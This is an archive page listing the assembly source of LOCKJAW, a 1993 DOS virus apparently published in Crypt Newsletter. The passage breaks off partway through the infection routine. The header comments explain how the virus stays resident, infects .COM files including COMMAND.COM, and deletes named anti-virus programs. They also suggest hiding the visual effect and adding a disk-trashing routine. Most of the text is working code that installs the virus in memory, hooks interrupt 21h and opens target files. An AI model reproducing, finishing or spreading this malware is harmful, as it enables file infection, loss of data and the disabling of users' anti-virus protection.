home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / LOCKJAW.ASM < prev    next >
Assembly Source File  |  1993-01-29  |  18KB  |  562 lines

  1. ;LOCKJAW: a .COM-infecting resident virus with retaliatory 
  2. ;anti-anti-virus capability.  Programmed and contributed by Nikademus, for
  3. ;Crypt Newsletter 12, Feb. 1993.               
  4. ;
  5. ;LOCKJAW is a resident virus which installs itself in
  6. ;memory using the same engine as the original Civil War/Proto-T virus.
  7. ;
  8. ;LOCKJAW hooks interrupt 21 and infects .COM files on execution, appending 
  9. ;itself to the end of the "host."  
  10. ;LOCKJAW will infect COMMAND.COM and is fairly transparent to a
  11. ;casual user, except when certain anti-virus programs 
  12. ;(Integrity Master, McAfee's SCAN &
  13. ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
  14. ;If LOCKJAW is present and any of these programs are employed from
  15. ;a write-protected diskette, the virus will, of course, generate
  16. ;"write protect" errors.
  17. ;
  18. ;LOCKJAW's "stinger" code demonstrates the simplicity of creating a strongly
  19. ;retaliating virus by quickly deleting the anti-virus program before it
  20. ;can execute and then displaying a "chomping" graphic.  Even if the anti-
  21. ;virus program cannot detect LOCKJAW in memory, it will be deleted.  This
  22. ;makes it essential that the user know how to either remove the virus from
  23. ;memory before beginning anti-virus measures, or at the least run the
  24. ;anti-virus component from a write-protected disk. At a time when retail
  25. ;anti-virus packages are becoming more complicated - and more likely that the
  26. ;average user will run them from default installations on his hard file -
  27. ;LOCKJAW's retaliating power makes it a potentially very annoying pest.
  28. ;A virus-programmer serious about inconveniencing a system could do a
  29. ;number of things with this basic idea. They are;
  30. ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
  31. ; instantly.
  32. ; 2. Alter the_stinger routine, so that the virus immediately attacks the
  33. ; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
  34. ; merely makes the disk inaccessible until a warm reboot if an anti-virus
  35. ; program is employed against it.  By placing
  36. ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
  37. ; an unknowing user to employ anti-virus measures on a machine where
  38. ; LOCKJAW or a LOCKJAW-like program is memory resident.
  39. ;
  40. ;These anti-anti-virus strategies are becoming more numerous in viral 
  41. ;programming.                 
  42. ;
  43. ;For example, Mark Ludwig programmed the features of a direct-action 
  44. ;retaliating virus in his "Computer Virus Developments Quarterly."  
  45. ;Peach, Groove and Encroacher viruses attack anti-virus software by 
  46. ;deletion of files central
  47. ;to the functionality of the software. 
  48. ;
  49. ;And in this issue, the Sandra virus employs a number 
  50. ;of anti-anti-virus features. 
  51. ;
  52. ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and                
  53. ;DREI infected files from a system, simply delete the "companion" .COM 
  54. ;duplicates of your executables.  Ensure that the machine has been booted
  55. ;from a clean disk.  To remove the LOCKJAW .COM-appending virus, at this
  56. ;time it will be necessary for you to restore the contaminated files from
  57. ;a clean back-up.
  58. ;
  59.         
  60.         .radix 16
  61.      code       segment
  62.         model  small
  63.         assume cs:code, ds:code, es:code
  64.  
  65.         org 100h
  66.  
  67. len             equ offset last - begin
  68. vir_len         equ len / 16d 
  69.  
  70. host:           db 0E9h, 03h, 00h, 43h, 44h, 00h     ; host dummy    
  71.  
  72. begin:          
  73.         
  74.         call virus            ; push i.p. onto the stack 
  75.  
  76. virus:          
  77.         jmp after_note
  78.  
  79. note:            
  80.         db     '[lÖçk⌡äW].ߥ.ÑîkådëMû$'
  81.         db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼'
  82.         db     '┼håÑk$.┼ó.ÇΓÿ₧'
  83.  
  84. after_note:     
  85.         pop     bp                   ; recalculate change in offset          
  86.         sub     bp,109h                        
  87.  
  88. fix_victim:     
  89.         mov     di,0100h                 ; restore host's       
  90.         lea     si,ds:[vict_head+bp]     ;    !
  91.         mov     cx,06h                   ;    !
  92.         rep     movsb                    ; first 6 bytes
  93. Is_I_runnin:    
  94.         mov     ax,2C2Ch                   
  95.         int     21h                      ; call to see if installed  
  96.         cmp     ax, 0DCDh
  97.         je      Bye_Bye
  98. cut_hole:  
  99.         mov     ax,cs                    ; get memory control block    
  100.         dec     ax                           
  101.         mov     ds,ax                        
  102.         cmp     byte ptr ds:[0000],5a    ; check if last block -   
  103.         jne     abort                        
  104.         mov     ax,ds:[0003]                 
  105.         sub     ax,100                    ; decrease memory    
  106.         mov     ds:0003,ax
  107. Zopy_virus:                                      ; copy to claimed block
  108.         mov     bx,ax                    ; PSP  
  109.         mov     ax,es                    ; virus start    
  110.         add     ax,bx                    ; in memory   
  111.         mov     es,ax
  112.         mov     cx,len                   ; cx = length of virus
  113.         mov     ax,ds                    ; restore ds   
  114.         inc     ax
  115.         mov     ds,ax
  116.         lea     si,ds:[begin+bp]         ; point to start of virus   
  117.         lea     di,es:0100               ; point to destination  
  118.         rep     movsb                    ; start copying the virus   
  119.                             
  120.         mov     [vir_seg+bp],es        
  121.         mov     ax,cs                       
  122.         mov     es,ax                    ; restore extra segment
  123. Grab_21:                                     
  124.         cli
  125.         mov     ax,3521h           ; request address of interrupt 21
  126.         int     21h                     
  127.         mov     ds,[vir_seg+bp]   
  128.         mov     ds:[old_21h-6h],bx
  129.         mov     ds:[old_21h+2-6h],es
  130.         mov     dx,offset Lockjaw - 6h    ; revector to virus
  131.         mov     ax,2521h                
  132.         int     21h                     
  133.         sti                            
  134. abort:          
  135.         mov     ax,cs                      ; get the hell outa 
  136.         mov     ds,ax                      ; Dodge
  137.         mov     es,ax
  138.         xor     ax,ax
  139.  
  140. Bye_Bye:      
  141.         mov     bx,0100h                  ; hand off to host
  142.         jmp     bx                     
  143.  
  144. Lockjaw:         
  145.         pushf                              ; is i checkin if     
  146.         cmp     ax,2c2ch                   ; resident
  147.         jne     My_21h                   
  148.         mov     ax,0dcdh                 
  149.         popf                                   
  150.         iret
  151.         
  152. My_21h:         
  153.         push    ds                       
  154.         push    es                         ; save all registers
  155.         push    di
  156.         push    si
  157.         push    ax
  158.         push    bx
  159.         push    cx
  160.         push    dx
  161. check_exec:     
  162.         cmp     ax,04B00h                  ; is the file being 
  163.         jne     notforme                   ; executed?
  164.         mov     cs:[name_seg-6],ds
  165.         mov     cs:[name_off-6],dx
  166.         jmp     chk_com                    ; start potential
  167.                            ; infection
  168. notforme:       
  169.         pop     dx                         ; exit
  170.         pop     cx                         ; restore all registers
  171.         pop     bx
  172.         pop     ax
  173.         pop     si
  174.         pop     di
  175.         pop     es
  176.         pop     ds
  177.         popf
  178.         jmp     dword ptr cs:[old_21h-6]
  179. int21:          
  180.         pushf                           
  181.         call    dword ptr cs:[old_21h-6]      ; int 21h handler
  182.         jc      notforme                      ; exit on error
  183.         ret                           
  184.  
  185. chk_com:        cld                              ; this essentially copies
  186.         mov     di,dx                    ; the name of the file
  187.         push    ds                       ; and sets it up for 
  188.         pop     es                       ; comparison to the anti-
  189.         mov     al,'.'                   ; virus defaults used in
  190.         repne   scasb                    ; the_stinger
  191.         call    the_stinger              ; anti-virus stinger  
  192.         cmp     ax, 00ffh                ; WAS the program an AV?
  193.         je      notforme
  194.         cmp     word ptr es:[di],'OC'    ; is it a .com ?
  195.         jne     notforme                 ; compare against extension
  196.         cmp     word ptr es:[di+2],'M'   ; masks in these two steps
  197.         jne     notforme                     
  198.                              
  199.         call    Grab_24                 ; set critical error handler  
  200.         call    set_attrib
  201.                 
  202. open_victim:                                    ; open potential host
  203.         mov     ds,cs:[name_seg-6]   
  204.         mov     dx,cs:[name_off-6]
  205.         mov     ax,3D02h             
  206.         call    int21            
  207.         jc      close_file